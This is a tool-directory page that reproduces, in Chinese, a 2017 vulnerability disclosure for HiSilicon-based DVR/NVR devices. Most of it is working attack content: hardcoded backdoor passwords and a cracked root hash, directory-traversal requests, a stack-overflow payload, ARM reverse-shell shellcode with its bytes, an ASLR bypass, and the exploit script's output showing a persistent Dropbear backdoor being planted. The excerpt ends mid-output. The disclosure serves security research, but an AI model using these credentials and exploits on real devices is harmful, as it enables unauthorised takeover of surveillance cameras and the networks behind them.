Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pwn-hisilicon-dvr | Kitploit
工具/GitHubGitHub/tothi/pwn-hisilicon-dvr
嵌入式系统安全密码破解物联网安全网络映射漏洞分析漏洞利用逆向工程Web应用程序漏洞利用信息收集模糊测试二进制分析
GitHub
383903年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
tothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

查看仓库

= HiSilicon DVR 破解 Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] 本报告披露了使用海思 hi3520d 及类似片上系统(SoC)的 DVR/NVR 设备中存在的严重漏洞(含概念验证(PoC)代码)。利用这些漏洞仅通过 Web 界面即可实现未授权的远程代码执行(RCE),从而完全控制被利用的设备。由于缺乏升级固件,不建议使用这些设备。 已于 2016 年 12 月之前联系厂商,但仍未收到回复。本披露发布日期为 2017 年 2 月。

== 前言

几年前,我在 eBay 上买了一台廉价的中国 DVR 设备。设备的启动徽标写着:“SECULINK - 安全监控”。作为一名 IT 安全爱好者,我决定仔细看看该设备,看看这个安全监控服务到底有多“安全”。谷歌搜索相关话题时,我找到了一些有趣的资料,但深入挖掘后,发现了关于该设备更有趣、更严重的问题(0-day)。

让我们从头开始看看整个入侵会话。(新的、自主研发的成果会标注出来,旧的、已知的也一样。)

== 探索 DVR

首先,我们应当了解官方用户界面,然后深入挖掘,也许尝试获取固件。找到漏洞的机会随着固件的获取而增加。

=== DVR 初览

用于测试的 DVR 设备品牌为 “Seculink”。

image::./seculink_device.png[Seculink DVR device]

可用的物理接口:

  • 2 个 USB 端口(官方用于连接鼠标控制 GUI 控制台),
  • HDMI 端口(以及 VGA),用于连接外部显示器(查看 GUI 和摄像头画面),
  • 4 个 BNC 连接器,用于连接模拟闭路电视摄像机,
  • 内部 SATA 端口,用于连接存储以录制视频流,
  • 以太网端口,用于网络访问。

官方用户界面:

  • 直接使用 HDMI(或 VGA)作为输出,USB 鼠标/键盘作为输入,进行摄像头查看/控制/完整设置,
  • 通过网络 HTTP 访问,进行摄像头查看/控制。

直接访问的设置界面受用户认证(用户名、密码)限制。默认超级用户为 'admin',默认密码为空。

设置强密码后,用户可能会觉得自己的摄像头画面不会被他人访问。人们经常将 DVR 设备的 Web 端口(tcp/80)从其安全的 LAN 转发到 WAN 侧,以便从外部访问 DVR 视频流(我们可以通过适当的 Shodan 搜索来验证这一点 ;) )。

=== 获取固件

获取固件的方法可能有很多:

  • 通过某些软方法从设备获取(使用官方界面,或利用某些漏洞),
  • 通过某些硬方法从设备获取(JTAG、串行控制台等),
  • 从互联网上查找并下载(如果有的话)。

虽然后一种(下载)方法在这里有效,而且是最容易的,但让我们先尝试第一种方法,因为它还能提供有关设备的其他信息。

=== 服务扫描

让我们对 DVR 进行一次全端口扫描。注意,(默认以 root 身份运行时)SYN 扫描非常慢,因为丢包,但完整的 TCP connect 扫描在几分钟内完成。


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


总结和手动测试:

  • 23/tcp 是一个 telnet 登录界面,受某种用户名
  • 密码保护(不是应用程序凭据)
  • 80/tcp 是受应用程序凭据保护的 Web 界面
  • 554/tcp 是一个 rtsp 服务;可以通过常见的 rtsp url 打开:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

注意,打开 rtsp 流也需要凭据。

  • 9527/tcp 似乎是一个(秘密?)服务端口,具有一些非常有趣的功能,
  • 34567/tcp 和 34599/tcp 似乎是与 DVR 应用程序相关的一些数据端口。

这里我们应该指出,该设备可能运行某种类似 Linux 的系统。

连接到 9527/tcp(通过原始 netcat)显示应用程序控制台,其中包含日志消息和一个登录提示符。使用任何已定义的应用程序凭据登录均有效。在提示符后输入 help 会给出控制台命令的简短说明。命令 shell 似乎是最有趣的。是的,它会给设备一个 root shell。;)

注意,这显然是一个严重的安全问题,因为任何(低权限的)应用程序用户都不应该自动获得设备的 root shell。

=== root shell

在 root shell 中探索设备(例如通过 dmesg)可以清楚地看到,DVR 运行的是 Linux 内核(版本 3.0.8),它有一个 ARMv7 CPU,SoC 型号是 hi3520d。

从正在运行的进程列表(ps)可以清楚地看到,DVR 应用程序是 /var/Sofia,除了 nmap 检测到的上述 tcp 端口外,它还在监听 34568/udp 和 34569/udp(netstat -nlup)。

从挂载的磁盘列表(mount 命令)可以清楚地看到,固件镜像位于 /dev/mtdblockX 设备中(其中 X=0,1,2,3,4,5)。

固件很小,因此受限,所以如果我们想向设备复制文件或从设备复制文件,就得发挥创意。幸运的是,支持 NFS,所以在我们的台式机上设置一个 NFS 服务器并从 DVR 挂载它,问题就解决了:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

现在获取固件就很简单了:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

我们可以得到这些文件(不仅仅是原始镜像):


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== telnet 接口

要通过 telnet 接口(端口 23/tcp)访问设备,我们可能需要一些操作系统凭据。查看 /etc/passwd,我们有 root 用户的密码哈希:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

注意,除了 root 之外没有其他用户,所有内容都以完全权限运行。(因此,如果有人以某种方式闯入设备,就没有任何屏障,攻击者会立即获得全部权限。)

假设一个六位字母数字(小写)密码,hashcat 很快就能破解上述弱 DES 哈希:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A

Started: Sun Sep 3 03:25:04 2017 Stopped: Sun Sep 3 03:27:38 2017

因此,使用用户 root 和密码 xc3511 可以通过端口 23/tcp 上的 telnet 接口登录。这个硬编码的 root 账户可通过无法关闭的 telnet 接口访问,显然是一个后门。

这些结果在我们研究之前几乎已由其他人获得,但以下内容完全是新的。

== 固件逆向

探索固件后发现,二进制文件 /var/Sofia 是主应用程序,它实现了除视频处理和其他功能之外的所有接口。所以这个二进制文件对我们来说似乎是最有趣的。

不幸的是,它是(静态链接且)剥离的,这使得静态分析更加困难:


$ file Sofia Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info

因此,除了静态分析(使用 radare2 或 IDA)之外,动态分析应该非常有帮助。

=== 远程 gdb

对于动态分析,将 GNU 项目调试器(GDB)附加到远程 /var/Sofia 应用程序应该是有利的。推荐的方法是在远程设备上运行(并附加)gdbserver,然后从本地机器将 gdb 连接到它。

当然,我们需要一个为合适的 ARM 架构编译的(最好是静态的)gdbserver。为了构建它,我们可以使用 https://www.uclibc.org/[µClibc],这是嵌入式系统(如我们的 DVR)推荐的 C 库。可用的构建是动态构建,这在我们的 DVR 上会有问题,所以我们应该自己制作自定义静态构建。有一个很好的构建环境叫做 https://buildroot.org/[Buildroot],它使构建工作开箱即用(使用 make menuconfig 选择所需的应用程序(例如 gdb),不要忘记选择静态库,然后运行 make)。

经过短暂的构建时间(约 10-15 分钟),所有必要的工具都应该可用。静态二进制文件可以通过前面提到的 NFS 方法传输到设备。注意,包含 Sofia 二进制文件的 /var 目录是一个 ramfs,因此它不会在重启后持久化。如果我们想(几乎)永久地传输二进制文件,包含配置文件的读写分区 /mnt/mtd 应该是一个合适的目标。如果你也构建了 openssh 包,那么 scp 将可用,这使文件传输更加容易。

现在固件已经准备好进行一些逆向。远程附加 gdbserver 现在可以工作了(通过 ps 很容易获得 Sofia 进程的 PID):


$ /mnt/mtd/gdbserver --attach :2000 610

从本地机器连接:


$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

注意,建议使用某些 GDB 扩展(如 http://gef.readthedocs.io/en/master/[GEF])。如果出于某种原因暂停应用程序不起作用(使用 C-c),向 Sofia 进程发送 TRAP 信号(通过 kill -TRAP 610)应该会使其暂停。

=== 检查认证过程

静态分析推荐的工具显然是 Hex-Ray 的 https://www.hex-rays.com/products/ida/[IDA Pro]。不幸的是,它不便宜,但比任何其他工具都好。

初始自动分析后有 15,000+ 个函数,但在 IDA 中找到认证函数只需片刻(使用简单的 Python 脚本)。下面的 https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] 代码片段搜索所有同时引用与 “Users” 和 “Password” 相关内容的函数:

[source,python]

x1, x2 = set(), set() for loc, name in Names(): if "Users" in name: for addr in XrefsTo(loc): x1.add(GetFunctionName(addr.frm)) elif "Password" in name: for addr in XrefsTo(loc): x2.add(GetFunctionName(addr.frm)) print x1 & x2

结果只有一个函数:sub_2D857C。快速分析该函数确认这应该是认证函数。

在从配置中获取用户的密码哈希之前,有一个针对硬编码字符串的明文密码的初始检查。如果通过,则授予认证。这是应用程序中的一个丑陋的后门。通用密码是:I0TO5Wv9。

有了这个密码,我们可以以任何用户(例如 admin)的身份访问应用程序中的任何内容。例如,获取视频流:


$ cvlc 'rtsp://192.168.88.127:554/user=admin&password=I0TO5Wv9&channel=1&stream=0.sdp'

或者在应用程序控制台(9527/tcp)上获得一个 root shell 也可以:


$ nc 192.168.88.127 9527 nc: using stream socket

username:admin password:I0TO5Wv9 login(admin, ******, Console, address:) admin$

认证算法中另一个有趣的结果是:在某些情况下,认证函数不仅接受密码,还接受哈希。打开 rtsp 视频流不仅可以使用密码,还可以使用存储在 /mnt/mtd/Config/Account1 中的哈希。例如,tlJwpbo6 是空密码的哈希(另见下一节),所以``` cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp' cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

root@kitploit:~
同样有效。

=== 密码哈希函数

对认证函数进行深入静态分析的另一个结果:密码哈希函数是 `sub_3DD5E4`。它基本上是 MD5 加上一些奇怪的变换。已将其逆向并用 Python 实现:

[source,python]
----
import hashlib

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h
----

借助所实现的哈希算法,可以暴力破解密码,也可以设置任意密码。

== 内置 Web 服务器中的缓冲区溢出

Sofia 二进制程序处理 80/tcp 端口上的 HTTP 请求。让我们尝试对请求进行一些模糊测试。当然,附加 gdb(见上文)会很有帮助。实际上,我们应该杀掉 Sofia 进程并用 gdbserver 重新启动它,以便也能看到控制台输出:

----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----

在本地:

----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef>  c
----

现在让我们看看 GET 请求。没有响应:

----
$ echo 'GET /' | nc 192.168.88.127 80
----

正常响应(即使没有正确结束和/或末尾换行):

----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----

用超长请求测试溢出:

----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' |  nc 192.168.88.127 80
----

不错。响应是 200,包含 "404 File Not Found" 消息,但我们在 gdb 中看到了一个极好的崩溃。;)

请注意,Sofia 应用程序启用了看门狗内核模块。如果它在一分钟内没有运行,设备就会重启。一方面,如果我们在远程设备上做实验,这很好;但另一方面,如果希望顺利进行调试,这很糟糕。

看门狗一旦启动就无法关闭,所以摆脱它的唯一方法是通过重新刷写来修改只读固件。除非我们想把测试设备变砖,否则不建议这样做。;)

=== 程序流控制

为什么这次崩溃很精彩(从攻击者的角度来看)?远程进程 Sofia 触发了 SIGSEGV(段错误),栈被我们的 "a" 字符填满,但最重要的是:$pc(程序计数器)寄存器包含我们注入的值 `0x61616160`("aaaa" - 1)(可能是由 ret 触发,但原因并不重要)。这应该是经典的栈溢出,这意味着我们有机会轻松控制程序流。

经过一些实验(通过区间减半):

----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' |  nc 192.168.88.127 80
----

这也导致 SIGSEGV,$pc 寄存器变成 `0x7a797876`(大约 "wxyz";由于字节序是小端,所以是反转的;并且由于对齐而 -1)。我们的载荷(以 "0123aaa..." 开头)位于 $sp+0x14(栈基址 + 0x14)。

=== 远程代码执行

利用这种溢出最简便有效的方式是向栈中注入一些 shellcode,并将程序流重定向到那里。这样我们就可以在目标上获得任意远程代码执行。由于设备操作系统上没有权限分离,这意味着完全控制(root shell 访问权限)。

然而,目标可能启用了(现代的)漏洞利用缓解技术,这可能使攻击者的工作更加困难。

防范栈上 shellcode 的最基本方法是 No-eXecute(NX)位技术。它可以防止在选定的内存页(通常是像栈这样具有写权限的页)上执行代码。幸运的是(从攻击者的角度来看 ;) ),没有设置 NX 位(查看 STACK 标志,rwx):

----
$ objdump -b elf32-littlearm -p Sofia

Sofia:     file format elf32-littlearm

Program Header:
0x70000001 off    0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
         filesz 0x000132a8 memsz 0x000132a8 flags r--
    LOAD off    0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
         filesz 0x005371dc memsz 0x005371dc flags r-x
    LOAD off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
         filesz 0x000089c8 memsz 0x000dad8c flags rw-
     TLS off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
         filesz 0x00000004 memsz 0x00000018 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----

或者直接在 gdb gef 中使用 `checksec`。gdb gef 中的 `checksec` 还告诉我们,没有其他缓解措施存在,例如栈 canary(这很明显,因为如果存在栈 canary,我们就无法通过栈溢出控制 $pc)。

在让 RCE 工作之前,我们需要知道的唯一事情是栈地址。我们应在载荷(上面的 "wxyz")的适当位置注入地址 $sp+0x14,以便将程序流重定向到 shellcode。

还有一种缓解技术可能使这变得更加困难(或非常困难,在某些情况下几乎不可能):地址空间布局随机化(ASLR)。ASLR 会随机化内存段的基地址(例如栈的基地址)。

不走运的是,ASLR 已启用("2" 表示完全随机化,"0" 表示禁用):

----
$ cat /proc/sys/kernel/randomize_va_space 
2
----

==== 无 ASLR 情况下的 RCE

让我们先在关闭 ASLR 的情况下尝试利用这个溢出。

----
$ echo 0 > /proc/sys/kernel/randomize_va_space 
----

按照上述流程,在 SIGSEGV 崩溃时,栈地址($sp)为 0x5a26f3d8(并且在关闭 ASLR 的不同运行中它是相同的)。

因此载荷应该是:

----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----

其中 shellcode 应该是我们想要执行的内容,最好是反弹连接 shellcode。注意,存在必须避免的“坏字符”:0x00、0x0d ('\n')、0x20 (' ')、0x26 ('&')、0x3f ('?')。此外,还有 299 字节的大小限制。Shellcode 生成器无法处理我们的坏字符列表,即使使用自动化编码器也无法解决这个问题(因为大小限制)。

因此,应该生成自定义 shellcode。这里的 shellcode 使用 socket、connect、dup2 和 execve 系统调用(或按照 ARM 世界的术语称为监督调用)提供一个反弹连接 shell。我们必须严格且富有创造力,以避免坏字符。不应使用标签,那些只是为了更易读。

[source,asm]
----
.section    .text
.global     _start

@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0:    add  r1, pc, #1
_4:    bx   r1

@ thumb mode instructions
_start:
.code 16

@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8:    add  r1, pc, #68      @ r1 <- pc+68 = 0xc+68 = 0x50
_a:    ldrb r2, [r1, #2]     @ r2 <- *0x52
_c:    sub  r2, #1           @ r2 <- r2-1
_e:    strb r2, [r1, #2]     @ r2 -> *0x52

@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10:   mov  r1, #2          @ r1 <- 2
_12:   add  r0, r1, #0      @ r0 <- r1 + 0 = 2
_14:   mov  r1, #1          @ r1 <- 1
_16:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_18:   lsl  r7, r1, #8      @ r7 <- r1<<8 = 1<<8 = 256
_1a:   add  r7, #25         @ r7 <- r7 + 25 = 281
_1c:   svc  1               @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)

@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e:   add  r6, r0, #0       @ r6 <- r0 + 0 = &socket
_20:   add  r1, pc, #44      @ r1 <- pc+44 = 0x24+44 = 0x50
_22:   mov  r3, #2           @ r3 <- 2
_24:   strh r3, [r1, #0]     @ 2 -> *0x50
_26:   mov  r2, #16          @ r2 <- 16
_28:   add  r7, #2           @ r7 <- r7 + 2 = 283
_2a:   svc  1                @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)

@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c:   mov  r7, #62       @ r7 <- 62
_2e:   add  r7, #1     	  @ r7 <- r7 + 1 = 63
_30:   mov  r1, #200      @ r1 <- 200

_32:   add  r0, r6, #0    @ r0 <- r6 + 0 = &socket
_34:   svc  1             @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36:   sub  r1, #1        @ r1 <- r1 - 1
_38:   bpl  _32           @ loop until r1>0 (dup2 every fd to the socket)

@ execve('/bin/sh', NULL, NULL)
_3a:   add  r0, pc, #28     @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_3e:   strb r2, [r0, #7]    @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40:   push {r0, r2}        @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42:   mov  r1, sp          @ r1 <- sp
_44:   mov  r7, #11         @ r7 <- 11
_46:   svc  1               @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)

_48:   mov  r7, #1          @ r7 <- 1
_4a:   add  r0, r7, #0      @ r0 <- r7 + 0 = 1
_4c:   svc  1               @ svc_1(r0) = exit(1)

_4e:   nop

@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50:   .short 0xffff
_52:   .short 0x697b            @ port 31377 (hex(31337+0x100) in little-endian)
_54:   .byte 192,168,88,100   	@ inet addr: 192.168.88.100
_58:   .ascii "/bin/shX"      	@ 'X' will be replaced with \x00 by the shellcode

.word 0xefbeadde        @ deadbeef ;)
----

编译 shellcode 并获取原始二进制字节(使用任何用于 ARM 的交叉工具都应该有效,例如使用 buildroot 在 `buildroot-2017.02.5/output/host/usr/bin/` 中构建的工具也可以):

----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----

将其与载荷一起注入应该能使漏洞利用生效,并应获得连接到远程设备的反弹 shell。

当然,首先在 `192.168.88.100` 上启动一个监听器:

----
$ nc -nvlp 31337
----

然后启动载荷:

----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex");  print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80 
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----

漏洞利用应该能成功!:) 在本地 gdb 中:

----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----

并且 RCE 已在 netcat 监听器上就绪:

----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----

现在可以在远程系统上执行任意命令(以 root 身份!)。

但不幸的是,这个漏洞利用还没有准备好用于现实世界的部署,因为 ASLR 已开启,因此我们不知道 shellcode 的起始地址。目前还没有。

==== 绕过 ASLR

绕过 ASLR 并不容易,但通常可以通过一些创造力做到。通常有两种方法:

* 在随机化机制中寻找弱点,并通过暴力破解或某种部分泄漏 / 部分覆盖来攻击,
* 泄漏远程二进制文件的随机化内存地址。

现在暴力破解似乎毫无用处(触发错误地址会导致崩溃和缓慢的重启),所以只有泄漏似乎比较方便(如果我们能找到的话)。

经过长时间的研究,几乎不得不放弃,找不到任何泄漏,但后来一个想法从完全不同的方向出现了。

Web 服务器中有一个不同的漏洞,一个经典的目录遍历漏洞。事实上,它还可以用来列出目录(这也将很重要)。

目录遍历漏洞意味着:

----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----

而且我们还可以获取目录列表:

----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<H1>Index of /mnt/web/../../etc</H1>

<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----

请注意,这个漏洞很严重,因为攻击者可以读取任何文件,包括录制的视频(如果设备有 HDD 存储)。

此外,这个漏洞可以帮助我们绕过 ASLR。

`/proc` 文件系统在 `/proc/[pid]` 目录中包含大量关于运行中进程的信息。可以使用 `GET ../../proc` 列出 `/proc`,这样我们就能获得所有的 PID。如果 `/proc/[pid]/cmdline` 是 `/var/Sofia`,就找到了应用程序的 PID。

绕过 ASLR 最重要的信息在 `/proc/[pid]/smaps` 中。这个文件包含内存页统计信息、页地址和其他有趣的信息(例如 rss)。例如:

----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

/var/Sofia

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

...

4b699000-4be98000 rwxp 00000000 00:00 0 
Size:               8188 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

...
----

这只是一页,列表包含约 150 页。

查看上面的结构(注意页面大小、模式等),我们可以(通过实验和启发式方法)猜测哪一个包含所需线程的栈。栈相对于基地址的偏移是恒定的(为 0x7fd3d8)。

猜测内存页的代码片段:

[source,python]
----
def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
        smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)
----

其中 `smaps[t][1][0]` 是第 `t` 个完整页的大小,`smaps[t][1][1]` 是相关的 RSS。

这个代码片段是完整漏洞利用脚本的一部分,该脚本可自动攻击各种启用 ASLR 的 HiSilicon 目标。关于该脚本的简要介绍:

----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                            [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                            [-n] [-i] [-p] [-u] [--offset OFFSET]
                            [--cmdline CMDLINE]

exploit HiSilicon DVR devices

optional arguments:
  -h, --help         show this help message and exit
  --rhost RHOST      target host
  --rport RPORT      target port
  --lhost LHOST      connectback ip
  --lport LPORT      connectback port
  --bhost BHOST      listen ip to bind (default: connectback)
  --bport BPORT      listen port to bind (default: connectback)
  -n, --nolisten     do not start listener (you should care about connectback
                     listener on your own)
  -i, --interactive  select stack memory region interactively (rather than
                     using autodetection)
  -p, --persistent   make connectback shell persistent by restarting dvr app
                     automatically (DANGEROUS!)
  -u, --upload       upload tools (now hardcoded "./tools/dropbear" in script)
                     after pwn
  --offset OFFSET    exploit param stack offset to mem page base (default:
                     0x7fd3d8)
  --cmdline CMDLINE  cmdline of Sofia binary on remote target (default
                     "/var/Sofia")
----

=== 后渗透

我们可以用这个 RCE 做什么?一切。请记住,这是一个未授权的 RCE,仅使用 Web 服务端口 80/tcp。这个端口通常被转发到外部,因此如果攻击者利用这个 RCE,他/她就可以访问内部局域网。

我们的漏洞利用脚本有一些不错的功能,比如它可以向受害者设备上传(预先编译的)工具。

如果我们想做一个持久、稳定的后门,我们可以上传 Dropbear,让它本地监听,并打开一条到外部的反向 SSH 隧道。有了这种架构,就可以随时随地登录 DVR 设备。```
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
